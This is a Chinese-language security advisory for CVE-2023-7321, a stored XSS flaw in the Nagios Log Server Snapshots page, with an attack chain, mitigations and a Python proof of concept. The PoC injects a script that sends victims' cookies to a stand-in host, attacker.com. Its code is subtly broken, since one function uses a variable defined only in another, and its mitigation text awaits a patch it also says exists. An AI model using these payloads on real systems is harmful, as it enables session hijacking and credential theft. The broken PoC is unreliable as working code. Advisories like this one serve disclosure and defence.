IPBUF安全漏洞报告
English
CVE-2023-7321 CVSS 5.4 中危

CVE-2023-7321: Nagios Log Server Snapshots页面跨站脚本(XSS)漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2023-7321
漏洞类型
跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios Log Server

相关标签

CVE-2023-7321跨站脚本XSS存储型XSSNagios Log ServerSnapshots页面Web应用安全CVSS 5.4

漏洞概述

CVE-2023-7321是发现于Nagios Log Server的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于Snapshots页面,由于应用程序未对日志内容进行安全编码,导致攻击者可以在日志中注入恶意脚本代码。当其他用户访问受污染的Snapshots页面时,这些恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或对应用程序进行进一步攻击。由于漏洞利用需要用户交互(访问Snapshots页面),且攻击者需要具备在日志中注入恶意内容的低权限,因此CVSS评分为5.4(中危)。攻击者可利用此漏洞在受害者浏览器中执行任意JavaScript代码,窃取会话Cookie、伪造用户操作或传播恶意内容。

技术细节

该漏洞的根本原因在于Nagios Log Server的Snapshots页面在渲染日志内容时未实施充分的输出编码。具体而言,当用户提交或导入包含恶意JavaScript代码的日志数据时,系统直接将用户输入存储到数据库中,而在后续展示Snapshots页面时,这些未经过滤的数据被直接插入到HTML响应中。攻击者可以通过以下方式利用此漏洞:1. 使用低权限账户登录Nagios Log Server;2. 在日志数据中注入恶意脚本,如<script>alert(document.cookie)</script>;3. 当具有更高权限的用户访问Snapshots页面查看日志时,恶意脚本将在其浏览器上下文中执行。由于该漏洞位于应用程序的输出上下文,未使用HTML实体编码或内容安全策略(CSP)来防护,因此攻击者可以成功执行跨站脚本攻击。修复方案包括对所有用户输入进行验证,并在输出时使用适当的编码方法,如HTML实体编码或使用现代前端框架的安全渲染机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Nagios Log Server实例,确认版本低于2.1.14,并探测Snapshots功能的访问端点
STEP 2
步骤2: 认证与权限获取
攻击者获取Nagios Log Server的低权限账户凭据,成功登录系统
STEP 3
步骤3: 恶意载荷注入
攻击者通过日志导入功能或API,将包含XSS payload(如<script>标签)的恶意日志内容注入到系统数据库中
STEP 4
步骤4: 诱骗受害者访问
攻击者诱使具有更高权限的目标用户(如管理员)访问Snapshots页面,触发存储型XSS漏洞
STEP 5
步骤5: 恶意脚本执行
当受害者浏览器加载Snapshots页面时,未经过滤的恶意脚本在受害者上下文中执行,可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2023-7321 PoC - Nagios Log Server XSS via Snapshots Page TARGET = "http://target-nagios-log-server.local" USERNAME = "low_privilege_user" PASSWORD = "password123" def login(): """Authenticate to Nagios Log Server""" session = requests.Session() login_url = f"{TARGET}/api/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data) return session if response.status_code == 200 else None def inject_xss_payload(session): """Inject XSS payload into log content""" xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" log_data = { "log_entry": xss_payload, "source": "test_source" } # Submit log with XSS payload api_url = f"{TARGET}/api/v1/logs/ingest" session.post(api_url, json=log_data) print("[+] XSS payload injected into logs") def trigger_victim(session): """Trigger XSS by accessing Snapshots page""" snapshots_url = f"{TARGET}/snapshots" response = session.get(snapshots_url) if xss_payload in response.text: print("[+] XSS payload reflected in Snapshots page") print("[+] Payload will execute when victim views the page") return response if __name__ == "__main__": print("CVE-2023-7321 PoC - Nagios Log Server XSS") session = login() if session: inject_xss_payload(session) trigger_victim(session) else: print("[-] Authentication failed")

影响范围

Nagios Log Server < 2.1.14

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制低权限用户向系统提交自定义日志内容的权限;2) 在Web应用层部署WAF规则过滤常见的XSS payload模式;3) 提醒用户不要点击来源不明的Snapshots页面链接;4) 监控日志导入API的异常调用行为;5) 考虑临时禁用Snapshots功能直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表